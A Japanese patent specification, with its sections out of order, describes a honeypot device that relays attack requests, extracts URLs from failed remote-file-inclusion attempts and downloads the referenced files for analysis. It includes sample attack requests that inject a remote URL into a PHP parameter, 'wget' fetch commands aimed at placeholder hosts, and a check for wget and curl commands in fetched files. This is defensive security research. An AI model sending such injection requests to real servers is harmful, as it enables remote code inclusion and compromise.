また、実施例1によれば、転送先特定部622は、データ受信部アクセス監視部623によって取得された任意のファイルに含まれる文字列の特徴を参照して、当該ファイルに応じた動作を実行する動作環境を特定し、特定した動作環境にファイルに応じた動作を実行させることにより、前記統一資源位置指定子を特定する。従って、実施例1に係るファイル収集監視装置6は、取得したファイルからさらに情報を収集することができ、リクエストに対するレスポンスの情報をより正確により多数収集することを可能にする。
【0082】
また、実施例1によれば、データ受信部アクセス監視部623は、ファイル取得要求をネットワークに送出する前段階で、URLを記憶するアクセスデータ管理部624を参照し、現時点で取得しようとしているファイルのURLが記憶されているか否かを判定し、当該URLがアクセスデータ管理部624に記憶されていないことを条件に、前記ファイル取得要求をネットワークに送出する。従って、実施例1に係るファイル収集監視装置6は、不要なファイル取得要求の発生を抑止することを可能とする。
【実施例2】
【0083】
これまでいくつかの実施例を説明したが、本願が開示する技術はこれらの実施例に限定されるものではない。すなわち、これらの実施例は、その他の様々な形態で実施されることが可能であり、種々の省略、置き換え、変更を行うことができる。
【0084】
(1)デコード処理
上述した実施例1では、リクエストやファイルなどを直接解析する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、エンコードされたリクエストをデコード処理した後に解析する場合であってもよい。かかる場合には、転送先特定部622又はデータ受信部63における各環境にデコード処理を実行させる機能を備えるようにすればよい。図13は、デコード処理に用いられるテーブルの一例を説明するための図である。
【0085】
例えば、図13に示すように、文字列の特徴とデコード方法とを対応付けたテーブルを、転送先特定部622又はデータ受信部63における各環境に予め保持させる。そして、転送先特定部622又はデータ受信部63における各環境に、リクエストの文字列の特徴に対応するデコード方法でリクエストをデコードさせるようにする。例を挙げると、単純に動作させることができず、かつ、一定の文字数以上であるリクエストに対しては、転送先特定部622又はデータ受信部63における各環境にBASE64でデコード処理を実行させるようにする。従って、ファイル収集監視装置6は、エンコードされたリクエストに対しても解析を実行することができ、より幅広いデータを対象に解析することで、より多数の情報を収集することを可能にする。
【0086】
(2)ネットワークモデル
上述した実施例1では、ネットワーク1にファイル収集監視装置6と、ネットワーク2と、ネットワーク3とが収容されたネットワークモデルを用いる場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、種々の形態のネットワークモデルに適用することが可能である。以下では、実施例1とは異なるネットワークモデルについて説明する。
【0087】
図14は、実施例1とは異なるネットワークモデル1を説明するための図である。図14に示すように、ネットワーク1は、ネットワーク2と、ネットワーク3と、ネットワーク4とを収容する。ネットワーク2及びネットワーク3には、それぞれユーザ端末21とサーバ端末31とが収容される。ネットワーク4には、サーバ端末41と、サーバ端末42と、データ受信部63とが収容される。そして、図14に示すように、ネットワーク2及びネットワーク3からサーバ端末41及びサーバ端末42に対するアクセスはデータ転送部62を経由するようにトポロジを構成する。
【0088】
すなわち、データ転送部62は、ユーザ端末21からサーバ端末41又はサーバ端末42へのリクエストや、サーバ端末41又はサーバ端末42からのレスポンスをもれなく監視することができ、リクエスト及びレスポンスに係る各種情報を収集することができる。
【0089】
なお、ネットワーク2は、仮想ネットワークとして1台又は複数の物理サーバ上に実装することが可能である。かかる場合には、データ転送部62やサーバ端末41及びサーバ端末42は、VMWareやXenなどの仮想化技術で構築された仮想端末上に構築することができる。
【0090】
図15は、実施例1とは異なるネットワークモデル2を説明するための図である。図14に示すように、ネットワーク1は、ネットワーク2と、ネットワーク3と、ネットワーク4とを収容する。ネットワーク2及びネットワーク3には、それぞれユーザ端末21とサーバ端末31とが収容される。ネットワーク4には、サーバ端末41が収容される。そして、図15に示すように、ネットワーク2及びネットワーク3からサーバ端末41に対するアクセスはデータ転送処理機能7を経由するようにトポロジを構成する。
【0091】
データ転送処理機能7には、データ転送部62と、データ受信部63とを配置することで、ユーザ端末21からサーバ端末41へのリクエストや、サーバ端末41からのレスポンスをもれなく監視することができ、リクエスト及びレスポンスに係る各種情報を収集することができる。
【0092】
(3)文字列解析環境及び動作環境
上述した実施例1では、データ受信部63に文字列解析環境631及び動作環境632、633を配置する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、文字列解析環境631のみを配置する場合であってもよい。また、動作環境632、633のみを配置する場合であってもよい。なお、文字列解析環境631のみを配置する場合には、データ転送部62における転送先特定部622を取り除くことが可能である。
【0093】
(4)ファイル取得要求の生成
データ受信部アクセス監視部623が文字列解析環境631から受信した文字列を宛先URLとしたファイル取得要求を生成する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、文字列解析環境631が抽出した文字列を宛先URLとしたファイル取得要求を生成する場合であってもよい。
【0094】
(5)システム構成等
例えば、各装置の分散・統合の具体的形態(例えば、図2の形態)は図示のものに限られず、その全部又は一部を、各種の負荷や使用状況などに応じて、任意の単位で機能的又は物理的に分散・統合することができる。一例を挙げると、サーバ送受信アクセス監視部621とデータ受信部アクセス監視部623とを一つのアクセス監視部として統合してもよく、一方、アクセスデータ管理部を、URLが記憶されているか否かを判定する判定部と、判定結果を通知する通知部とに分散してもよい。
【0095】
(6)ファイル収集監視プログラム
上記実施例で説明したファイル収集監視装置6は、あらかじめ用意されたプログラムをコンピュータで実行することで実現することもできる。そこで、以下では、図2に示したファイル収集監視装置6と同様の機能を実現するファイル収集監視プログラムを実行するコンピュータの一例を説明する。
【0096】
図16は、本実施例に係るファイル収集監視プログラムを実行するコンピュータ1000を示す図である。図16に示すように、コンピュータ1000は、例えば、メモリ1010と、CPU(Central Processing Unit)1020と、ハードディスクドライブインタフェース1030と、ディスクドライブインタフェース1040と、シリアルポートインタフェース1050と、ビデオアダプタ1060と、ネットワークインタフェース1070とを有する。これらの各部は、バス1080によって接続される。
【0097】
メモリ1010は、ROM(Read Only Memory)1011およびRAM(Random Access Memory)1012を含む。ROM1010は、例えば、BIOS(Basic Input Output System)等のブートプログラムを記憶する。ハードディスクドライブインタフェース1030は、ハードディスクドライブ1090に接続される。ディスクドライブインタフェース1040は、ディスクドライブ1100に接続される。ディスクドライブ1100には、例えば、磁気ディスクや光ディスク等の着脱可能な記憶媒体が挿入される。シリアルポートインタフェース1050には、例えば、マウス1110およびキーボード1120が接続される。ビデオアダプタ1060には、例えば、ディスプレイ1130が接続される。
【0098】
ここで、図16に示すように、ハードディスクドライブ1090は、例えば、OS(Operating System)1091、アプリケーションプログラム1092、プログラムモジュール1093およびプログラムデータ1094を記憶する。本実施例に係るファイル収集監視プログラムは、例えば、コンピュータ1000によって実行される指令が記述されたプログラムモジュールとして、例えばハードディスクドライブ1090に記憶される。具体的には、上記実施例で説明したサーバ送受信アクセス監視部621と同様の情報処理を実行するサーバ送受信アクセス監視手順と、転送先特定部622と同様の情報処理を実行する転送先特定手順と、データ受信部アクセス監視部623と同様の情報処理を実行するデータ受信部アクセス監視手順と、アクセスデータ管理部624と同様の情報処理を実行するアクセスデータ管理手順と、文字列解析環境631と同様の情報処理を実行する文字列解析環境手順と、動作環境632や動作環境633と同様の情報処理を実行する動作環境手順とが記述されたプログラムモジュールが、ハードディスクドライブ1090に記憶される。
【0099】
また、上記実施例で説明した解析データ収集部625に記憶されるデータのように、ファイル収集監視プログラムによる情報処理に用いられるデータは、プログラムデータとして、例えば、ハードディスクドライブ1090に記憶される。そして、CPU1020が、ハードディスクドライブ1090に記憶されたプログラムモジュールやプログラムデータを必要に応じてRAM1012に読み出して、サーバ送受信アクセス監視手順と、転送先特定手順と、データ受信部アクセス監視手順と、アクセスデータ管理手順と、文字列解析環境手順と、動作環境手順とを実行する。
【0100】
なお、情報送受信プログラムに係るプログラムモジュールやプログラムデータは、ハードディスクドライブ1090に記憶される場合に限られず、例えば、着脱可能な記憶媒体に記憶されて、ディスクドライブ1100等を介してCPU1020によって読み出されてもよい。あるいは、情報送受信プログラムに係るプログラムモジュールやプログラムデータは、LAN(Local Area Network)やWAN(Wide Area Network)等のネットワークを介して接続された他のコンピュータに記憶され、ネットワークインタフェース1070を介してCPU1020によって読み出されてもよい。
【0101】
これらの実施例やその変形は、本願が開示する技術に含まれると同様に、特許請求の範囲に記載された発明とその均等の範囲に含まれるものである。
【符号の説明】
【0102】
1、2、3、4 ネットワーク
6 ファイル収集監視装置
7 データ転送処理機能
61 サーバ端末部
62 データ転送部
63 データ受信部
621 サーバ送受信アクセス監視部
622 転送先特定部
623 データ受信部アクセス監視部
624 アクセスデータ管理部
625 解析データ収集部
631 文字列解析環境
632、633 動作環境
【技術分野】
【0001】
この発明は、ファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムに関する。
【背景技術】
【0002】
従来、インターネットの普及に伴い、個人情報の管理やアプリケーションの配信を実施するサーバに対するサイバー攻撃が急増している。サイバー攻撃の代表例としては、攻撃者が正規ユーザのサーバや端末に不正アクセスするために用いる攻撃ツールプログラムであるマルウェアを利用したDDoS(Distributed Denial of Services)攻撃やスパム送信、情報盗難などが知られている。これらの攻撃の多くは、既存のサーバを乗っ取り、踏み台として他のサーバを攻撃する形で実施される。
【0003】
これらの攻撃に対処するために、サーバ間を送受信されるパケットのデータやヘッダの内容に応じて通信を制御するアクセス制御技術が知られている。例えば、アクセス制御技術では、ルータ等のパケット転送装置にファイアウォール(Firewall)機能と転送データ監視機能とを実装することでサーバ監視機能を構築し、構築したサーバ監視機能によりパケットの通信を制御する。
【0004】
このアクセス制御技術では、まず、セキュリティベンダが既存の攻撃を収集して解析して、攻撃者がサーバに対して取りうる送信メッセージのパターンをシグネチャ化する。そして、アクセス制御技術では、シグネチャにマッチする送信メッセージをサーバ監視機能によってフィルタすることにより、攻撃者の不正アクセスからサーバを防御する。
【0005】
ここで、既存の攻撃を収集解析する手法としては、例えば、ハニーポット(Honeypot)が知られている。ハニーポットは、低対話型と高対話型とに分類される。低対話型ハニーポットは、特定のオペレーションシステムやアプリケーションなどのソフトウェアの動作をエミュレートして攻撃を監視する。高対話型ハニーポットは、脆弱性が存在する実際のソフトウェアで攻撃を監視する。
【0006】
すなわち、低対話型ハニーポットは、エミュレートした範囲に機能が制限されるため、攻撃の被害を受けることなく、比較的安全に攻撃の情報を収集することができるものの、収集可能な情報が制限される。一方、高対話型ハニーポットは、実際に攻撃を受けてから挙動を観測するため、攻撃に伴う被害が発生する可能性があるものの、低対話型ハニーポットよりも攻撃時の情報を詳細に観測できる。これらにより、収集可能な攻撃の情報量は、高対話型ハニーポットがより有用となる。
【先行技術文献】
【非特許文献】
【0007】
【非特許文献1】八木毅、谷本直人、針生剛男、伊藤光恭、“高対話型Webハニーポットにおける攻撃情報収集方式の改善”情報処理学会、コンピュータセキュリティシンポジウム2009
【発明の概要】
【発明が解決しようとする課題】
【0008】
しかしながら、上述した従来技術では、攻撃対象への攻撃に関する検知精度が低下するという課題がある。具体的には、従来技術に係る高対話型ハニーポットでは、攻撃対象として狙われたプログラムの配置箇所とリクエストの宛先URL(Uniform Resource Locator)に記述されたパスが一致しない等の理由により攻撃が失敗する場合がある。かかる場合には、攻撃を受け付けられないメッセージ等を攻撃者側に送信することしかできない。すなわち、従来技術に係る高対話型ハニーポットでは、攻撃に関する多くの情報を収集することができない。
【0009】
また、攻撃に関する多くの情報を収集するために、攻撃を故意に成功させたとしても、プログラムの実際の配置箇所とパスが大きく異なる攻撃は失敗してしまうので、当該攻撃に関する情報はほとんど収集できない。これらのことから、従来技術では、多数の攻撃を収集したとしても、攻撃の総情報量において防御に利用可能な攻撃の情報量の割合が減少するので、攻撃対象への攻撃に関する検知精度が低下する。
【0010】
そこで、本願に開示する技術は、上記に鑑みてなされたものであって、攻撃対象への攻撃に関する検知精度を向上させることが可能なファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムを提供することを目的とする。
【課題を解決するための手段】
【0011】
上述した課題を解決し、目的を達成するため、開示の方法は、受信ステップが、ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する。そして、判定ステップが、前記受信ステップによって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する。そして、特定ステップが、前記判定ステップによって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する。そして、生成ステップが、前記特定ステップによって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する。そして、取得ステップが、前記生成ステップによって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する。
【発明の効果】
【0012】
開示の方法は、攻撃対象への攻撃に関する検知精度を向上させることを可能にする。
【図面の簡単な説明】
【0013】
【図1】図1は、実施例1に係るファイル収集監視装置を適用するネットワークモデルの一例を示す図である。
【図2】図2は、実施例1に係るファイル収集監視装置の構成の一例を説明するための図である。
【図3】図3は、転送先特定部が記憶するテーブル1を説明するための図である。
【図4】図4は、転送先特定部が記憶するテーブル2を説明するための図である。
【図5】図5は、アクセスデータ管理部によって記憶される宛先URLのリストの一例を説明するための図である。
【図6】図6は、文字列解析環境による処理の一例を説明するための図である。
【図7】図7は、データ受信部アクセス監視部によるファイル取得要求の生成の一例を説明するための図である。
【図8】図8は、動作環境による処理の一例を説明するための図である。
【図9】図9は、実施例1に係るファイル収集監視装置によるリクエスト解析処理の手順を示すシーケンス図である。
【図10】図10は、実施例1に係るファイル収集監視装置によるファイル取得要求送信処理の手順を示すシーケンス図である。
【図11】図11は、実施例1に係るファイル収集監視装置によるファイル解析処理の手順を示すシーケンス図である。
【図12】図12は、実施例1に係るファイル収集監視装置によるデータの保存処理の手順を示すシーケンス図である。
【図13】図13は、デコード処理に用いられるテーブルの一例を説明するための図である。
【図14】図14は、実施例1とは異なるネットワークモデル1を説明するための図である。
【図15】図15は、実施例1とは異なるネットワークモデル2を説明するための図である。
【図16】図16は、本実施例に係るファイル収集監視プログラムを実行するコンピュータ1000を示す図である。
【発明を実施するための形態】
【0014】
以下に添付図面を参照して、本願の開示するファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムの実施例を詳細に説明する。なお、本願の開示するファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムは、以下の実施例により限定されるものではない。
【実施例1】
【0015】
[実施例1に係るファイル収集監視装置の構成]
まず、実施例1に係るファイル収集監視装置の構成について説明する。図1は、実施例1に係るファイル収集監視装置を適用するネットワークモデルの一例を示す図である。図1に示すネットワークモデルでは、ネットワーク1にネットワーク2と、ネットワーク3と、ファイル収集監視装置6とを有する。
【0016】
ネットワーク1は、例えば、インターネットなどの広域なネットワークや、企業ネットワークなどの比較的狭域なネットワークであり、図1に示すように、ネットワーク2及びネットワーク3を収容する。ネットワーク2及びネットワーク3は、図1に示すように、それぞれユーザ端末21とサーバ端末31とを収容する。なお、図1においては、ネットワーク2及びネットワーク3それぞれにユーザ端末21とサーバ端末31とが1台ずつ示されているが、実際には、ネットワーク2及びネットワーク3には、複数のユーザ端末とサーバ端末とが収容されている。
【0017】
ユーザ端末21は、ネットワーク1上に配置された他の通信装置と通信する。例えば、ユーザ端末21は、ファイル収集監視装置6と通信する。サーバ端末31は、ネットワーク1上に配置された他の通信装置と通信する。例えば、サーバ端末31は、ファイル収集監視装置6と通信する。
【0018】
ここで、図1に示すネットワークモデルにおけるサイバー攻撃の一例を説明する。例えば、攻撃者は、ユーザ端末21を用いてサーバ端末31にマルウェアを感染させることで、マルウェアをダウンロードさせるマルウェア配布サーバを準備する。そして、攻撃者は、検索エンジン等を利用して、脆弱なプログラムを搭載したサーバを特定する。
【0019】
その後、攻撃者は、ユーザ端末21を用いて、特定したサーバに対してプログラムの脆弱性を利用したexploitコードなどを送信することで、特定したサーバにマルウェア配布サーバからマルウェアをダウンロードさせる。このように、攻撃者は、脆弱なプログラムを搭載したサーバに対して所定の処理を実行させるリクエストを送信し、リクエストを受信したサーバにリクエストに対するレスポンスを実行させる。
【0020】
実施例1に係るファイル収集監視装置6は、図1に示すように、サーバ端末部61と、データ転送部62と、データ受信部63とを有し、上述したリクエストやレスポンスに係る各種情報を収集する。例えば、ファイル収集監視装置6は、高対話型ハニーポットが構築され、リクエストやレスポンスに係る各種情報を収集する。ファイル収集監視装置6の詳細について、図2を用いて説明する。図2は、実施例1に係るファイル収集監視装置6の構成の一例を説明するための図である。
【0021】
サーバ端末部61は、通常のサーバ端末と同様の機能を有する。例えば、サーバ端末部61は、Webサーバとして機能する。かかる場合には、サーバ端末部61は、WebアプリケーションをはじめとしたWebサーバの構築に用いられる各種ソフトウェアやデータベースを有する。例えば、ファイル収集監視装置6に高対話型ハニーポットが構築される場合には、サーバ端末部61には脆弱なアプリケーションが搭載される。
【0022】
例を挙げると、サーバ端末部61は、Webサーバとして機能する場合には、ユーザ端末21を用いて攻撃者が送信したHTTP(Hypertext Transfer Protocol)リクエストに対するレスポンスを実行する。ここで、サーバ端末部61は、HTTPリクエストに記述されたパスと、自装置における脆弱なアプリケーションの配置箇所とが一致しない等の場合には、レスポンスとして、ユーザ端末21にエラーメッセージを送信する。
【0023】
以下では、サーバ端末部61がWebサーバとして機能する場合を例に挙げて説明する。なお、サーバ端末部61は、Webサーバに限定されるものではなく、例えば、FTPサーバとして機能する場合であってもよい。また、以下では、HTTPリクエストをリクエストと記載する場合がある。
【0024】
データ転送部62は、図2に示すように、サーバ送受信アクセス監視部621と、転送先特定部622と、データ受信部アクセス監視部623と、アクセスデータ管理部624と、解析データ収集部625とを有する。
【0025】
サーバ送受信アクセス監視部621は、サーバ端末部61と、ネットワーク2、ネットワーク3との中継機能を有する。具体的には、サーバ送受信アクセス監視部621は、サーバ端末部61と、ネットワーク2、ネットワーク3との間で送受信されるデータを中継し、中継したデータを記憶するとともに、記憶したデータのコピーを後述するアクセスデータ管理部624又は解析データ収集部625に送信する。
【0026】
例えば、サーバ送受信アクセス監視部621は、ユーザ端末21から受信したリクエストをサーバ端末部61に送信するとともに、当該リクエストの内容を記憶して、記憶したリクエストのコピーを後述する解析データ収集部625に送信する。また、サーバ送受信アクセス監視部621は、サーバ端末部61から受信したレスポンスをネットワーク2又は3に送信するとともに、当該レスポンスの内容を記憶して、記憶したレスポンスのコピーを後述する解析データ収集部625に送信する。
【0027】
ここで、サーバ送受信アクセス監視部621は、サーバ端末部61から受信したレスポンスがエラーメッセージであるか否かを判定する。例えば、サーバ送受信アクセス監視部621は、レスポンス内にエラーコードが含まれているか否かにより、レスポンスがエラーメッセージであるか否かを判定する。
【0028】
ここで、レスポンスがエラーメッセージであった場合には、サーバ送受信アクセス監視部621は、当該レスポンスに対応するリクエストをコピーして、コピーしたリクエストを後述する転送先特定部622に送信する。
【0029】
一方、レスポンスがエラーメッセージではなく、サーバ端末部61がリクエストに対してファイル取得要求を送信した場合には、サーバ送受信アクセス監視部621は、ファイル取得要求をネットワーク2又は3に送信するとともに、ファイル取得要求に含まれるURLを抽出して、後述するアクセスデータ管理部624に送信する。さらに、サーバ送受信アクセス監視部621は、ファイル取得要求によって取得したファイル及びファイル取得要求に含まれるURLを後述する解析データ収集部625に送信する。
【0030】
またさらに、サーバ送受信アクセス監視部621は、ユーザ端末21からリクエストを受信する前のサーバ端末部61の状態を保持しておき、ネットワーク2又は3に対してレスポンスを送信した後に、サーバ端末部61をリクエスト受信前の状態に復帰させる。すなわち、サーバ送受信アクセス監視部621は、サーバ端末部61を攻撃を受信する前の状態に戻す。
【0031】
転送先特定部622は、サーバ送受信アクセス監視部621及び後述するデータ受信部アクセス監視部623それぞれから受信したリクエスト及びファイルの内容を参照して、リクエスト及びファイルの転送先を決定する。具体的には、転送先特定部622は、リクエスト及びファイルの転送先を決定するためのテーブルを有し、リクエスト又はファイルを受信した場合に、当該テーブルを参照してリクエスト又はファイルの解析が可能である転送先を決定する。以下では、リクエストを受信した場合の処理を説明した後に、ファイルを受信した場合の処理について説明する。
【0032】
まず、転送先特定部622がリクエストを受信した場合の処理について説明する。図3は、転送先特定部622が記憶するテーブル1を説明するための図である。例えば、転送先特定部622は、図3に示すように、リクエストを受信した場合に参照するテーブルとして、プログラムと動作環境とが対応付けられたテーブル1を有する。
【0033】
例を挙げると、転送先特定部622は、図3に示すように、「プログラム:PHP(Hypertext Preprocessor)」と「動作環境:動作環境632」とが対応付けられたテーブル1を有する。上記した例は、後述するデータ受信部63の動作環境632がPHPプログラムの動作環境として機能するように構築されていることを意味している。同様に、転送先特定部622は、図3に示すように、「プログラム:ASP(Application Service Provider)」と「動作環境:動作環境633」とが対応付けられたテーブル1を有する。なお、テーブル1は、ファイル収集監視装置6の管理者によって動作環境が構築された際に予め設定される。
【0034】
転送先特定部622は、サーバ送受信アクセス監視部621からリクエストを受信した場合に、まず、リクエストの宛先のファイル名の拡張子を参照して、リクエストに応答するプログラムを特定する。そして、転送先特定部622は、テーブル1を参照して、特定したプログラムに対応する動作環境があるか否かを判定する。
【0035】
ここで、特定したプログラムに対応する動作環境がテーブル1にある場合には、転送先特定部622は、サーバ送受信アクセス監視部621から受信したリクエストをプログラムに対応する動作環境に転送する。例えば、転送先特定部622は、テーブル1を参照して、PHPプログラムに応答するリクエストを動作環境632に転送する。
【0036】
一方、特定したプログラムに対応する動作環境がテーブル1にない場合、或いは、プログラムを特定できない場合には、転送先特定部622は、サーバ送受信アクセス監視部621から受信したリクエストを後述する文字列解析環境631に転送する。
【0037】
次に、転送先特定部622がファイルを受信した場合の処理について説明する。なお、転送先特定部622がファイルを受信するタイミングなどについては、後に詳述する。図4は、転送先特定部622が記憶するテーブル2を説明するための図である。
【0038】
例えば、転送先特定部622は、図4に示すように、ファイルを受信した場合に参照するテーブルとして、プログラム言語と動作環境とが対応付けられたテーブル2を有する。例を挙げると、転送先特定部622は、図4に示すように、「プログラム言語:PHP」と「動作環境:動作環境632」とが対応付けられたテーブル2を有する。上記した例は、後述するデータ受信部63の動作環境632がPHPスクリプトの動作環境として機能するように構築されていることを意味している。同様に、転送先特定部622は、図4に示すように、「プログラム言語:Perl」と「動作環境:動作環境633」とが対応付けられたテーブル2を有する。なお、テーブル2は、ファイル収集監視装置6の管理者によって動作環境が構築された際に予め設定される。
【0039】
転送先特定部622は、後述するデータ受信部アクセス監視部623からファイルを受信した場合に、まず、ファイルの内容がどのようなプログラム言語で記述されているのかを特定する。例えば、転送先特定部622は、ファイルに記載された関数の文字列からファイルの内容がどのようなプログラム言語で記述されているのかを特定する。そして、転送先特定部622は、テーブル2を参照して、特定したプログラム言語に対応する動作環境があるか否かを判定する。
【0040】
ここで、特定したプログラム言語に対応する動作環境がテーブル2にある場合には、転送先特定部622は、後述するデータ受信部アクセス監視部623から受信したファイルをプログラム言語に対応する動作環境に転送する。例えば、転送先特定部622は、テーブル2を参照して、PHPで記述されたファイルを動作環境632に転送する。
【0041】
なお、転送先特定部622は、転送先においてリクエストやファイルを動作させることができなかった場合に、他の転送先に同一のリクエストやファイルを送信して動作が発生する環境を探索する機能を有することが可能である。かかる場合には、他の転送先として後述する文字列解析環境631を優先的に選択するように設定することで、早期に動作を発生させることが可能となる。
【0042】
データ受信部アクセス監視部623は、後述するデータ受信部63から文字列又はファイル取得要求を受信する。ここで、データ受信部63から文字列を受信した場合には、データ受信部アクセス監視部623は、受信した文字列を宛先URLとしたファイル取得要求を生成してネットワーク2又は3に送信する。一方、データ受信部63からファイル取得要求を受信した場合には、データ受信部アクセス監視部623は、受信したファイル取得要求をネットワーク2又は3に送信する。なお、データ受信部アクセス監視部623によって生成されるファイル取得要求やデータ受信部63から受信する文字列及びファイル取得要求については、後に詳述する。
【0043】
そして、データ受信部アクセス監視部623は、送信したファイル取得要求に対応するファイルをネットワーク2又は3から受信する。さらに、データ受信部アクセス監視部623は、受信したファイルと当該ファイルの取得要求の宛先URLとを後述する解析データ収集部625に送信する。また、データ受信部アクセス監視部623は、ファイル取得要求を送信してファイルを受信した宛先URLを後述するアクセスデータ管理部624に送信する。
【0044】
ここで、データ受信部アクセス監視部623は、取得対象外のファイルを取得することがないように、ファイル取得要求を送信する前に、ファイル取得要求の宛先URLが取得対象外のファイルのURLであるか否かを判定する。具体的には、データ受信部アクセス監視部623は、文字列又はファイル取得要求を受信した際に、宛先URLが記憶されているか否かの判定をアクセスデータ管理部624に要求し、記憶されていなかった場合に、ファイル取得要求をネットワーク2又は3に送信する。
【0045】
アクセスデータ管理部624は、取得対象外のファイルのURLを記憶する。具体的には、アクセスデータ管理部624は、取得対象外のファイルのURLとして、取得済みのファイルのURLや予め取得を禁止されたファイルのURLを記憶する。
【0046】
例えば、アクセスデータ管理部624は、取得済みのファイルのURLとして、サーバ送受信アクセス監視部621及びデータ受信部アクセス監視部623から受信した宛先URLを記憶する。図5は、アクセスデータ管理部624によって記憶される宛先URLのリストの一例を説明するための図である。例えば、アクセスデータ管理部624は、図5に示すように、「http://ex3.com/z.txt」、「http://ex4.com/z.txt」、「http://ex8.com/z.txt」、「http://ex10.com/z.txt」などが含まれる宛先URLのリストを記憶する。
【0047】
また、アクセスデータ管理部624は、予め取得を禁止されたファイルのURLとして、ファイル収集監視装置6の管理者によって指定されたURLを記憶する。例えば、アクセスデータ管理部624は、予め取得を禁止されたファイルのURLとして、「.html」を記憶する。
【0048】
そして、アクセスデータ管理部624は、データ受信部アクセス監視部623から宛先URLが記録されているか否かの問い合わせを受付けると、記憶しているURLのリストを参照して宛先URLを記憶しているか否かを判定する。そして、アクセスデータ管理部624は、判定結果をデータ受信部アクセス監視部623に通知する。
【0049】
例えば、アクセスデータ管理部624は、宛先URLが記録されているか否かの問い合わせを受付けると、図5に示す取得済みのファイルのURLのリストを参照して、宛先URLと同一のURLを記憶しているか否かを判定する。
【0050】
また、アクセスデータ管理部624は、宛先URLが記録されているか否かの問い合わせを受付けると、宛先URLと予め取得を禁止されたファイルのURLとを比較する。そして、アクセスデータ管理部624は、URLの「全一致」、「後方一致」、「部分一致」を用いて、宛先URLが取得対象外のファイルのURLであるか否かを判定する。
【0051】
なお、「全一致」とは、宛先URLとファイル取得対象外のURLとが完全に一致することを意味している。また、「後方一致」とは、宛先URLの文字列の後方が指定された文字列と一致することを意味している。また、「部分一致」とは、宛先URLに含まれる任意の文字列が指定された文字列と一致することを意味している。
【0052】
例えば、アクセスデータ管理部624は、宛先URLの最後尾が「.html」である宛先URLを取得対象外のファイルのURLとして判定する。このように、アクセスデータ管理部624がURLの「全一致」、「後方一致」、「部分一致」によりURLの判定を行う場合には、取得対象外のファイルのURLのリストの各エントリに「全一致」、「後方一致」、「部分一致」のうちどれを適用するかのフラグを対応付けて記憶させる。すなわち、全てのフラグが立っている場合には、全監視方法が適用されることになる。
【0053】
なお、アクセスデータ管理部624が記憶するURLは、取得済みのファイルのURL、又は、予め取得を禁止されたファイルのURLのどちらか一方、或いは、その両方である場合であってもよい。
【0054】
解析データ収集部625は、リクエスト及びレスポンスに係る各種情報を記憶する。具体的には、解析データ収集部625は、サーバ送受信アクセス監視部621やデータ受信部アクセス監視部623から受信したファイルや宛先URL、リクエスト及びレスポンスの内容などを記憶する。
【0055】
データ受信部63は、図2に示すように、文字列解析環境631と、動作環境632と、動作環境633とを有する。文字列解析環境631は、転送先特定部622から受信したリクエストから任意の文字列を抽出して抽出した文字列をデータ受信部アクセス監視部623に送信する。具体的には、文字列解析環境631は、任意の文字を先頭とし、そこから他の任意の文字までの文字列を抽出する。図6は、文字列解析環境631による処理の一例を説明するための図である。
【0056】
例えば、文字列解析環境631は、図6に示すように、まず、転送先特定部622から受信したリクエスト「http://www.ex.com/a/b/c.zzz?dir=http://ex1.com/z.txt?」から入力データ「dir=http://ex1.com/z.txt?」を抽出する。そして、文字列解析環境631は、「http」を先頭とした、「?」までの文字列「http://ex1.com/z.txt」を抽出し、抽出した文字列「http://ex1.com/z.txt」をデータ受信部アクセス監視部623に送信する。
【0057】
例えば、データ受信部アクセス監視部623は、文字列解析環境631から文字列「http://ex1.com/z.txt」を受信すると、図7に示すように、ファイル取得要求「# wget http://ex1.com/z.txt」を生成する。なお、図7は、データ受信部アクセス監視部623によるファイル取得要求の生成の一例を説明するための図である。
【0058】
ここで、先頭とする任意の文字としては、「http」のほかに、例えば、「https」や「ftp」などが用いられる。また、抽出する文字列の後の文字としては、「?」のほかに、例えば「;」などが用いられる。すなわち、ファイル収集監視装置6は、上記した文字列を利用することで、以下に説明するように、URLの特定を自動的かつ高精度に行うことを可能にする。
【0059】
URLの先頭には、メソッドを指定する文字列(例えば、「http」や「ftp」など)が必須である。さらに、リクエストには、入力データをサーバ端末上のプログラムに引き渡させるために、特定文字列(例えば、入力データの値の直後の「?」)が指定されている。従って、リクエストの入力データからURLを抽出する場合に、先頭の文字列と直後の文字列とを指定することで、URLを自動的かつ高精度に特定することが可能である。
【0060】
また、文字列解析環境631は、転送先特定部622からファイルを受信した場合には、当該ファイル内に他のファイルを取得する命令列があるか否かを判定する。例えば、文字列解析環境631は、ファイル内に「wgetコマンド」や「curlコマンド」があるか否かを判定する。ここで、受信したファイル内に他のファイルを取得する命令列があった場合には、文字列解析環境631は、当該命令列を抽出してデータ受信部アクセス監視部623に送信する。
【0061】
動作環境632及び動作環境633は、任意のプログラムや任意のプログラム言語に対して動作する動作環境である。例えば、動作環境632は、PHPプログラムの動作環境として管理者によって構築される。図8は、動作環境による処理の一例を説明するための図である。図8に示すように、動作環境632は、転送先特定部622から拡張子「php」が含まれるリクエスト「http://www.ex.com/a/b/c.php?dir=http://ex2.com/z.txt?」を受信すると、ファイル取得要求「# wget http://ex2.com/z.txt」を抽出して、データ受信部アクセス監視部623に送信する。
【0062】
なお、上述した例では、2つの動作環境を用いる場合について説明したが、開示の技術はこれに限定されるものではなく、動作環境の数は任意の変更することができ、例えば、3つ以上の動作環境を設ける場合であってもよい。そして、例えば、新たにPythonスクリプトを動作させる動作環境を追加する場合には、データ受信部63に動作環境を追加し、転送先特定部622のテーブル2を更新すればよい。
【0063】
